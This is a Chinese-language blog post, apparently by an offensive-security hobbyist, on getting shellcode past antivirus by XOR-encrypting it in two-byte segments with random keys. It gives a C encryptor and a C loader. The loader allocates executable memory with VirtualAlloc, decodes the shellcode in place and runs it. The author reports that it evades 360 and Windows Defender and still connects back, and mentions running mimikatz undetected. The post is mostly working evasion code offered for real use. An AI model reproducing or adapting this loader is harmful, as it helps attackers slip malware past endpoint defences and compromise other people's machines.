分段加密shellcode

说个题外话。。。

测试的时候发现,360放在虚拟机里哪怕给他连上了网。。。简单用异或加密下的 shellcode 能正常上线,最主要的是。。跑mimikatz 360居然动都不动

但是一旦放到物理机上,刚下下来 马子 就马上被杀。

这就有点奇葩。。。盲猜360检测了虚拟机环境。。。

这个分段加密的shellcode 测试了下,实体机上能过 360、defender 上线


现在的杀软对于普通的一次异或加密shellcode 都基本能静态秒杀。于是乎产生了一些想法:

shellcodeloader 里是经过 异或加密 的。难道说杀软遍历 1 - 255 去依次 异或解密 吗?有点不现实

那既然直接爆破破解 异或值 不太现实,那杀软凭什么能静态秒杀呢?沙盒吗?

结果测试的时候发现,单单在 loader 中放一个 一次异或加密的 shellcode 也会被杀

那就很明显了,一次异或加密的 shellcode 也许还有一些特征值,有规律,被杀软检测到了

那我们将 shellcode 分段加密,把规律打破,是不是自然就能过杀软了呢?


下面上代码:

首先需要在本地把 shellcode 加密下。。自动加密的脚本。。之后有空再写吧哈哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//未加密 shellcode 版。自己调试然后拿加密后的 shellcode 以及 xorData
#include <Windows.h>

int main() {
/* length: 926 bytes */
unsigned char source_shellcode[] = "SHELLCODE";
unsigned char encode_shellcode[926] = { 0 };

//XOR分段数,固定长度 926 / 2 = 463
int xorNum = 463;
//保存每次分段 XOR 的值
int xorData[463] = { 0 };
int source_shellcode_length = sizeof(source_shellcode);
char decode;
int k = 0;

//分段XOR
srand((unsigned int)time(NULL));
for (int i = 0; i < xorNum; i++)
{
// 不能太大,也不能是 0
xorData[i] = rand() % 200 + 10;
//每2个一分组
for (int j = 0; j < 2; j++) {
encode_shellcode[k] = source_shellcode[k] ^ xorData[i];
k++;
}
}
getchar();
return 0;
}

记得改下shellcode长度

打个断点,用调试器拿加密过的 shellcodexordata:

记得勾下 十六进制显示,将之复制出来

复制出来后到 sublime 中进行修改(sublime真好用)

别忘了还有个 Xordata

获取到 加密的 shellcodeXordata 之后,将其放入到下面代码 中

ps:这些变量这么命名的话,如果杀软会检测符号表就有可能会 gg,实战的时候最好改下变量名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <Windows.h>

int main() {
/* length: 926 bytes */
//没做那么智能化,加密的shellcode 和 XORdata 就在上一个代码中自己用调试器调然后拷贝出来把
unsigned char encode_shellcode[926] = "SHELLCODE";
//XOR分段数,固定长度 926 / 2 = 463
int xorNum = 463;
//保存每次分段 XOR 的值
int xorData[463] = { 0xXX,0xXX,0xXX…… };
char decode;
int k = 0;
char* Memory;
//故意开内存只开1,实际上后面偏移的时候还是能插进去的,可能能过下杀软
Memory = VirtualAlloc(NULL, 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
for (int i = 0; i < 926; i++) {
Memory[i] = encode_shellcode[i];
}
//XOR分段解码。直接在内存中异或,防止 shellcode 泄露。也许能过下杀软吧
//每两个一分组
for (int i = 0; i < xorNum; i++)
{
for (int j = 0; j < 2; j++) {
decode = encode_shellcode[k] ^ xorData[i];
Memory[k] = decode;
k++;
}
}
((void(*)())Memory)();
return 0;
}

可正常上线

注意用的时候根据自己的 shellcode 长度改一下数组长度


虚拟机360跑起来:

补充:

实测借用师弟的电脑,物理机过了360、defender